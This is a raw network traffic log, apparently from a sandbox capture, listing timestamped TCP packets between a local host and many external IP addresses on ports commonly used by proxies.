Feb 23, 2024 14:28:23.534118891 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534137964 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534162045 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534162998 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534195900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534198046 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534219027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534240007 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534264088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534265041 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534295082 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534317970 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534349918 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534374952 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534379959 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534411907 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534471989 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534473896 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534482956 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534490108 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534509897 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534508944 CET	50934	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.534512997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534521103 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534533978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534554005 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534557104 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534581900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534598112 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534598112 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534612894 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534652948 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534723997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534743071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534763098 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534794092 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534883022 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534899950 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534939051 CET	50935	80	192.168.2.8	65.108.9.181
Feb 23, 2024 14:28:23.535010099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535064936 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535085917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535093069 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535105944 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535154104 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535161018 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535168886 CET	128	50812	187.40.1.122	192.168.2.8
Feb 23, 2024 14:28:23.535181999 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535191059 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535193920 CET	3128	50480	46.51.249.135	192.168.2.8
Feb 23, 2024 14:28:23.535201073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535212040 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535212994 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535233974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535245895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535255909 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535264015 CET	50812	128	192.168.2.8	187.40.1.122
Feb 23, 2024 14:28:23.535275936 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535295010 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535316944 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535326004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535377026 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535392046 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535392046 CET	50812	128	192.168.2.8	187.40.1.122
Feb 23, 2024 14:28:23.535458088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535459995 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535466909 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535505056 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535527945 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535541058 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535572052 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535579920 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535600901 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535623074 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535631895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535650969 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535681009 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535705090 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535723925 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535736084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535778999 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535799026 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535799980 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535866976 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535881042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535887957 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535895109 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535908937 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535916090 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535929918 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535929918 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535938978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.535963058 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.535972118 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536020041 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536031961 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536041021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536045074 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536124945 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536137104 CET	13326	50716	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.536154985 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536161900 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536197901 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536201954 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536206007 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536236048 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536256075 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536259890 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536314011 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536345005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536351919 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536365032 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536375046 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536405087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536432981 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536463976 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536521912 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536541939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536566019 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536586046 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536617994 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536631107 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536690950 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536701918 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536710978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536710978 CET	50936	8080	192.168.2.8	222.124.193.114
Feb 23, 2024 14:28:23.536722898 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536731005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536745071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536751032 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536772966 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536782980 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536782980 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536791086 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536813974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536847115 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536854982 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536875963 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536914110 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.536943913 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.536995888 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537002087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537040949 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537085056 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537091970 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537108898 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537117004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537142038 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537178993 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537187099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537250042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537254095 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537261009 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537266970 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537309885 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537309885 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537318945 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537328959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537347078 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537408113 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537420034 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537425995 CET	80	50850	153.19.91.77	192.168.2.8
Feb 23, 2024 14:28:23.537441969 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537484884 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537492990 CET	50850	80	192.168.2.8	153.19.91.77
Feb 23, 2024 14:28:23.537494898 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537520885 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537533998 CET	4145	50710	222.124.130.196	192.168.2.8
Feb 23, 2024 14:28:23.537543058 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537553072 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537568092 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537589073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537616968 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537642002 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537695885 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537695885 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537728071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537746906 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537785053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537817001 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537831068 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537851095 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537873030 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.537897110 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537936926 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537951946 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.537995100 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.538012028 CET	9764	50797	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.538022041 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.538038969 CET	9764	50797	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.538075924 CET	9764	50880	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.538177967 CET	50880	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.538219929 CET	50880	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.538466930 CET	50145	33328	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:23.538471937 CET	50656	11232	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:23.538482904 CET	50142	80	192.168.2.8	51.210.216.54
Feb 23, 2024 14:28:23.538487911 CET	50140	9090	192.168.2.8	38.41.53.144
Feb 23, 2024 14:28:23.538501978 CET	50389	50847	192.168.2.8	162.19.7.50
Feb 23, 2024 14:28:23.538502932 CET	50147	44722	192.168.2.8	108.61.168.184
Feb 23, 2024 14:28:23.538503885 CET	50154	3829	192.168.2.8	117.24.80.53
Feb 23, 2024 14:28:23.538513899 CET	50163	53242	192.168.2.8	162.0.220.234
Feb 23, 2024 14:28:23.538513899 CET	49766	1080	192.168.2.8	5.201.140.196
Feb 23, 2024 14:28:23.538515091 CET	49926	80	192.168.2.8	50.222.245.46
Feb 23, 2024 14:28:23.538515091 CET	49988	80	192.168.2.8	32.223.6.94
Feb 23, 2024 14:28:23.538535118 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.538536072 CET	49872	8080	192.168.2.8	177.229.210.50
Feb 23, 2024 14:28:23.538536072 CET	50168	8080	192.168.2.8	103.131.18.194
Feb 23, 2024 14:28:23.538542032 CET	50172	53935	192.168.2.8	5.161.98.204
Feb 23, 2024 14:28:23.538547993 CET	50165	80	192.168.2.8	212.92.204.54
Feb 23, 2024 14:28:23.538547993 CET	50166	55555	192.168.2.8	144.24.77.90
Feb 23, 2024 14:28:23.538549900 CET	50174	3128	192.168.2.8	178.33.252.189
Feb 23, 2024 14:28:23.538551092 CET	50182	41122	192.168.2.8	117.69.190.52
Feb 23, 2024 14:28:23.538661003 CET	50850	80	192.168.2.8	153.19.91.77
Feb 23, 2024 14:28:23.538857937 CET	3128	50480	46.51.249.135	192.168.2.8
Feb 23, 2024 14:28:23.538940907 CET	3128	50851	66.29.154.103	192.168.2.8
Feb 23, 2024 14:28:23.539271116 CET	8080	50844	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.539359093 CET	50844	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.539361000 CET	50480	3128	192.168.2.8	46.51.249.135
Feb 23, 2024 14:28:23.539628983 CET	31871	50357	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.539804935 CET	50844	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.540756941 CET	4145	50884	72.195.114.184	192.168.2.8
Feb 23, 2024 14:28:23.540817022 CET	50938	8080	192.168.2.8	103.129.208.242
Feb 23, 2024 14:28:23.540952921 CET	50884	4145	192.168.2.8	72.195.114.184
Feb 23, 2024 14:28:23.541064024 CET	80	50337	210.211.113.34	192.168.2.8
Feb 23, 2024 14:28:23.541095018 CET	80	50337	210.211.113.34	192.168.2.8
Feb 23, 2024 14:28:23.541320086 CET	35860	50845	212.3.112.128	192.168.2.8
Feb 23, 2024 14:28:23.542248964 CET	50845	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.543598890 CET	50845	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.545104980 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.546169043 CET	27391	50888	72.195.34.60	192.168.2.8
Feb 23, 2024 14:28:23.546439886 CET	3129	50796	20.219.235.172	192.168.2.8
Feb 23, 2024 14:28:23.546479940 CET	50939	9023	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.546499014 CET	50888	27391	192.168.2.8	72.195.34.60
Feb 23, 2024 14:28:23.546499968 CET	50940	8199	192.168.2.8	103.152.232.53
Feb 23, 2024 14:28:23.546972036 CET	50941	80	192.168.2.8	210.211.113.34
Feb 23, 2024 14:28:23.547060966 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.547450066 CET	50942	51284	192.168.2.8	188.164.196.30
Feb 23, 2024 14:28:23.547449112 CET	50943	8080	192.168.2.8	182.253.175.226
Feb 23, 2024 14:28:23.547488928 CET	80	50801	172.67.182.102	192.168.2.8
Feb 23, 2024 14:28:23.547795057 CET	3128	49776	193.107.104.57	192.168.2.8
Feb 23, 2024 14:28:23.548183918 CET	80	50805	104.19.235.10	192.168.2.8
Feb 23, 2024 14:28:23.549063921 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:23.549066067 CET	50944	39031	192.168.2.8	167.99.182.227
Feb 23, 2024 14:28:23.550251007 CET	50945	3128	192.168.2.8	62.33.207.201
Feb 23, 2024 14:28:23.550417900 CET	80	50861	104.22.50.220	192.168.2.8
Feb 23, 2024 14:28:23.550426006 CET	80	50861	104.22.50.220	192.168.2.8
Feb 23, 2024 14:28:23.550440073 CET	80	50420	184.169.154.119	192.168.2.8
Feb 23, 2024 14:28:23.550445080 CET	80	50861	104.22.50.220	192.168.2.8
Feb 23, 2024 14:28:23.550713062 CET	50861	80	192.168.2.8	104.22.50.220
Feb 23, 2024 14:28:23.550713062 CET	50861	80	192.168.2.8	104.22.50.220
Feb 23, 2024 14:28:23.554105043 CET	50164	80	192.168.2.8	103.241.65.116
Feb 23, 2024 14:28:23.554106951 CET	50167	4145	192.168.2.8	177.99.160.98
Feb 23, 2024 14:28:23.554124117 CET	49885	1080	192.168.2.8	185.157.47.236
Feb 23, 2024 14:28:23.554127932 CET	50372	80	192.168.2.8	50.168.7.250
Feb 23, 2024 14:28:23.554127932 CET	49892	80	192.168.2.8	50.204.219.227
Feb 23, 2024 14:28:23.554136992 CET	50177	3128	192.168.2.8	103.69.87.142
Feb 23, 2024 14:28:23.554147959 CET	50176	10808	192.168.2.8	124.158.182.34
Feb 23, 2024 14:28:23.554163933 CET	50181	56367	192.168.2.8	54.36.108.149
Feb 23, 2024 14:28:23.554166079 CET	50192	17525	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.554174900 CET	50189	8080	192.168.2.8	185.208.101.217
Feb 23, 2024 14:28:23.554174900 CET	50321	48915	192.168.2.8	138.201.21.232
Feb 23, 2024 14:28:23.554177046 CET	50201	44612	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.554177046 CET	50505	26169	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.554188967 CET	50205	3629	192.168.2.8	213.171.44.86
Feb 23, 2024 14:28:23.554189920 CET	50186	12641	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:23.554203987 CET	50208	19873	192.168.2.8	51.210.45.148
Feb 23, 2024 14:28:23.554205894 CET	50209	5678	192.168.2.8	169.255.198.8
Feb 23, 2024 14:28:23.554219961 CET	50514	1585	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.554239035 CET	50169	30504	192.168.2.8	92.246.139.112
Feb 23, 2024 14:28:23.554239035 CET	50180	5678	192.168.2.8	190.14.155.198
Feb 23, 2024 14:28:23.554361105 CET	50946	8080	192.168.2.8	38.183.144.117
Feb 23, 2024 14:28:23.554841042 CET	26591	50889	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.555016994 CET	4145	50757	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.555032015 CET	4145	50757	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.555277109 CET	32065	50381	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.556226015 CET	15303	50041	184.178.172.5	192.168.2.8
Feb 23, 2024 14:28:23.556828022 CET	80	50879	50.170.90.31	192.168.2.8
Feb 23, 2024 14:28:23.556953907 CET	50947	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.556955099 CET	50948	50422	192.168.2.8	45.118.132.247
Feb 23, 2024 14:28:23.557137012 CET	50041	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:23.557488918 CET	3128	49822	132.145.61.202	192.168.2.8
Feb 23, 2024 14:28:23.557497978 CET	80	50820	104.16.195.74	192.168.2.8
Feb 23, 2024 14:28:23.557529926 CET	50041	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:23.558351040 CET	50949	28106	192.168.2.8	148.72.177.90
Feb 23, 2024 14:28:23.558815002 CET	3128	50591	13.37.59.99	192.168.2.8
Feb 23, 2024 14:28:23.560698986 CET	50950	57320	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:23.561234951 CET	80	50867	50.222.245.43	192.168.2.8
Feb 23, 2024 14:28:23.561885118 CET	31280	50601	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.561929941 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.562903881 CET	33140	50882	192.81.225.9	192.168.2.8
Feb 23, 2024 14:28:23.563072920 CET	50951	32650	192.168.2.8	103.149.194.40
Feb 23, 2024 14:28:23.564668894 CET	80	50726	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.564811945 CET	50726	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.564940929 CET	50726	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.567353010 CET	50953	3129	192.168.2.8	103.78.0.44
Feb 23, 2024 14:28:23.567481041 CET	3129	50586	20.204.190.254	192.168.2.8
Feb 23, 2024 14:28:23.568201065 CET	9002	50720	61.133.66.69	192.168.2.8
Feb 23, 2024 14:28:23.568773985 CET	50720	9002	192.168.2.8	61.133.66.69
Feb 23, 2024 14:28:23.568990946 CET	50720	9002	192.168.2.8	61.133.66.69
Feb 23, 2024 14:28:23.569727898 CET	50188	42905	192.168.2.8	91.203.114.71
Feb 23, 2024 14:28:23.569729090 CET	50490	39796	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.569747925 CET	50195	3128	192.168.2.8	85.214.249.84
Feb 23, 2024 14:28:23.569747925 CET	50441	999	192.168.2.8	45.229.34.174
Feb 23, 2024 14:28:23.569750071 CET	50194	5306	192.168.2.8	171.240.108.159
Feb 23, 2024 14:28:23.569760084 CET	50197	999	192.168.2.8	190.242.126.170
Feb 23, 2024 14:28:23.569761038 CET	50200	8081	192.168.2.8	154.239.3.185
Feb 23, 2024 14:28:23.569768906 CET	50523	20003	192.168.2.8	72.10.160.171
Feb 23, 2024 14:28:23.569773912 CET	50202	4153	192.168.2.8	189.29.143.202
Feb 23, 2024 14:28:23.569775105 CET	50213	80	192.168.2.8	193.253.220.32
Feb 23, 2024 14:28:23.569775105 CET	50517	15265	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.569777966 CET	50479	80	192.168.2.8	50.168.163.181
Feb 23, 2024 14:28:23.569777966 CET	50519	80	192.168.2.8	50.217.226.40
Feb 23, 2024 14:28:23.569775105 CET	50204	64312	192.168.2.8	104.128.103.32
Feb 23, 2024 14:28:23.569824934 CET	50214	80	192.168.2.8	35.209.198.222
Feb 23, 2024 14:28:23.569828987 CET	31280	50601	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.569830894 CET	50220	82	192.168.2.8	43.251.213.62
Feb 23, 2024 14:28:23.569832087 CET	50207	16379	192.168.2.8	51.15.209.188
Feb 23, 2024 14:28:23.569850922 CET	50224	80	192.168.2.8	88.51.214.182
Feb 23, 2024 14:28:23.570961952 CET	31280	50869	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.571100950 CET	50869	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.571259975 CET	8080	50173	103.118.46.176	192.168.2.8
Feb 23, 2024 14:28:23.572873116 CET	80	50613	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.573007107 CET	50613	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.573051929 CET	50613	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.573057890 CET	50869	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.573331118 CET	80	50613	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.573338032 CET	11	50564	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:23.573431969 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.573487997 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.573533058 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.573666096 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.573775053 CET	4145	50047	184.181.217.220	192.168.2.8
Feb 23, 2024 14:28:23.573806047 CET	50954	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.573896885 CET	50047	4145	192.168.2.8	184.181.217.220
